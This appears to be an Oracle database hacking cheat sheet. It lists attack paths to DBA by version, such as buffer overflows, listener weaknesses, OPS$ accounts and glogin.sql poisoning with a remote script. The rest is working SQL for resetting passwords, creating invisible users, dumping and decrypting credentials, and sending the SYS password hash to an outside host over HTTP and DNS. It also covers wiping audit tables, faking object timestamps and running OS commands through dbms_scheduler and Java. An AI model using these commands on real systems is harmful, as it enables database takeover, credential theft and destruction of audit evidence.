XMLDB installed and active
(init.ora: dispatchers='(PROTOCOL=TCP)
(SERVICE=<ORACLE_SID>XDB)')
Port 2100(FTP), Port 8080 (HTTP)

9.2.0.1 Buffer Overflow via long FTP or HTTP
Password (published, e.g. via Metasploit-exploit)

9.2.0.6 Buffer Overflow via long FTP username
(unpublished, no published exploit available)

ONS installed
(onsctl start Port 6200, <=10.1.0.4)

TNS-Listener without Password / ADMIN_RESTRICTION

OPS$ account (create a user with the name of OPS$ and login without pw)
Simple file sharing (connect to a DB running on Windows XP with Simple File Sharing)

Modify Login.sql / Glogin.sql
Insert code like grant dba to public or @http://www.orasploit.com/becomedb.sql

Amap against port 6200 crashes the ONS service

No R*services installed
(create file .rhosts
unix/mac: tnscmd10g.pl
windows: tnslogfile.exe )

R*services installed
(create file .rhosts
unix/mac: tnscmd10g.pl
windows: tnslogfile.exe)

Modify Login.sql / Glogin.sql
Insert code like grant dba to public or @http://www.orasploit.com/becomedb.sql

No R*services installed
(create file glogin.sql
unix/mac: tnscmd10g.pl
windows: tnslogfile.exe)

Simple file sharing
(connect to a DB running on Windows XP with Simple File Sharing)

9.0
8.0
8i
9i R1
9i R2
10g R1
10g R2
11g R1

Modify Login.sql / Glogin.sql
Insert code like grant dba to public or @http://www.orasploit.com/becomedb.sql

OPS$ account
(create a user with the name of OPS$ and login without pw)

Amap against port 6200 crashes the ONS service

No R*services installed
(create file glogin.sql
unix/mac: tnscmd10g.pl
windows: tnslogfile.exe)

R*services installed
(create file .rhosts
unix/mac: tnscmd10g.pl
windows: tnslogfile.exe)

Simple file sharing
(connect to a DB running on Windows XP with Simple File Sharing)

modify code like
grant dba to public
or
@http://www.orasploit.com/becomedb.sql
This is only a small subset of possibilities to become DBA
SQL*Plus Commands (not always supported in other clients like TOAD, SQL*Navigator,...)

Connect with easy connect:
sqlplus dbamp@dbsnmp@192.168.2.112:1521/orcl – works only with Oracle 10g/11g clients

SQL*Plus-Commands:

@http://www.orasploit.com/becomeda.sql -- execute a SQL Script from a HTTP server (FTP is also possible)
show parameter -- show all parameters of the database
show parameter audit -- show audit settings
set term off -- disable terminal output
set term on -- enable terminal output
Set heading off -- disable headlines
Set pagesize 0 -- disable pagesize
Set timing on -- show execution time
Set autocommit on -- commit everything after every command (Idangerous!)

host cmd.exe /c 0wned > c:\rds8.txt -- run OS commands from sqlplus (on the client), Instead of host the shortcuts ! (unix) or $ (Windows) are also possible

set serveroutput on -- enable output from dbms_output
spool c:\myspool.txt -- create a logfile of the SQL*Plus Session called myspool.txt (disable: spool off)

desc utl_http -- show package specification of utl_http
desc all_users -- show view specification of all_users

Different ways to change Oracle Passwords:

With SQL*Plus Password cmd: password system;
With Alter user cmd: alter user system identified by rds2008;
With Alter user cmd: alter user system identified by values ’737B466C2DF536B9’;
With Grant: grant connect to system identified by rds2008;
With update: update sys.user$ set password = ’737B466C2DF536B9’ where name=’SYSTEM’;

Create Oracle User:

With create user cmd: create user user1 identified by rds2008; grant dba to user1;
With create role cmd: create role user1 identified by rds2008; update sys.user$ set type#=1 where name=’USER1’;
With Grant: grant dba to user1 identified by rds2008;
With Grant: grant connect to user1,user2,user3,user4 identified by user1,user2,user3,user4;
Invisible User: update sys.user$ set type#=2 where name=’USER1’;

Get Patch Level:

Get Patchlevel via opatch: opatch lsinventory;
Get Patchlevel via SQL: select * from dba_registry_history;

Useful Tools / Links:

checkpwd: http://www.red-database-security.com/software/checkpwd.html
worauthbf http://soonerorlater.hu/download/worauthbf_0.2.zip
anapassword.sql http://www.red-database-security.com/scripts/anapassword.sql
ntscmd http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd
sidguess: http://www.red-database-security.com/software/sidguess.zip
Oracle Assessment Kit: http://www.databasesecurity.com/dbsec/OAK.zip
Backtrack 2 http://www.remote-exploit.org

Information Retrieval:

Get version: select * from v$version; -- all users
Get security patchlevel: select * from dba_registry_history; -- only DBA
Installed database components: select * from dba_registry; -- all users
Get userlist: select * from all_users; -- all users
Get & PW hashes(7-10g): select username,password,account_status from dba_users; -- only DBA until 10g R2
Get Apex password hashes: select user_name, web_password_raw from flows_030000.wvw_flow_fnd_user; -- only DBA 030000 = APEX version 3.0, 020100=2.1
Decrypted Apex password hashes: select user_name, utl_http.request('http://md5.rednoize.com/?q='||web_password_raw||'&b=MD5-Search') from flows_030000.wvw_flow_fnd_user;
Get Metalink account/password: select sysman.decrypt(aru_username), sysman.decrypt(aru_password) from sysman.mgmt_aru_credentials; -- only DBA, 10g
Get password of mgmt_view_user: select view_username, sysman.decrypt(view_password) from sysman.mgmt_view_user_credentials; -- only DBA, 10g
Get tables with passwords: @anapassword.sql -- run the SQL script anapassword.sql
TDE encrypted tables: select table_name,column_name,encryption_alg,salt from dba_encrypted_columns; -- show objects using database encryption (e.g. for passwords)
Show code using encryption: select owner, name, type, referenced_name from all_dependencies where referenced_name IN ('DBMS_CRYPTO', 'DBMS_OBFUSCATION_TOOLKIT')

Web Access:

Web access via utl_http: select utl_http.request('http://www.orasploit.com/utl_http') from dual; -- all users, 8-10g R2
Web access via httpuritype: select utl_http.getclob('http://www.orasploit.com/httpuritype').getclob() from dual; -- only DBA, change value of username for other users
Send password hash to webserver: select utl_http.getclob('http://www.orasploit.com/''||select username||'='||password from dba_users where username='SYS').getclob() from dual; -- only DBA, change value of username for other users
Send password hash via DNS: select utl_http.request('http://www.'||select username||'='||password from dba_users where username='SYS').orasploit.com') from dual;

Anti-Forensics:

Clear v$sql: alter system flush shared pool; -- only DBA, all versions
Clear sys.wh$ sqlstat: truncate table sys.wh$ sqlstat; -- only DBA, 10g/11g
Clear audit-Table: truncate table sys.aud$; -- only as SYS, all versions
Clear audit-Table: delete table sys.aud$; -- only, all versions
Change object creation date: update sys.obj$ set ctime=sysdate-300, mtime=sysdate-300, stime=sysdate-300 where name='AUD$'; -- change the creation date of an object
Run OS Commands via dbms_scheduler:
(10g/11g only)
-- Create a Program for dbms_scheduler
exec DBMS_SCHEDULER.create_program('RDS2008','EXECUTABLE','c:\WINDOWS\system32\cmd.exe /c echo 0wned >> c:\rds3.txt',0,TRUE);
-- Create, execute and delete a Job for dbms_scheduler
exec DBMS_SCHEDULER.create_job(job_name => 'RDS2008JOB',program_name => 'RDS2008',start_date => NULL,repeat_interval => NULL,end_date => NULL,enabled => TRUE,auto_drop => TRUE);
-- delete the program
exec DBMS_SCHEDULER.drop_program(PROGRAM_NAME => 'RDS2008');
-- Purge the logfile for dbms_scheduler
exec DBMS_SCHEDULER.PURGE_LOG;

Run OS Commands via Java:  
(requires Java in the Database)
grant javasyspriv to user1;
create or replace and resolce java source name  "JAVACMD" AS
import java.lang.*;import java.io.*;
public class JAVACMD
{
public static void execCommand (String command) throws IOException {
Runtime.getRuntime().exec(command);}
};
create or replace procedure javacmdproc (p_command  in  varchar2)
as language java 
name 'JAVACMD.execCommand (java.lang.String)'; /
edj javacmdproc('cmd.exe /c echo 0wned > c:\rds4.txt');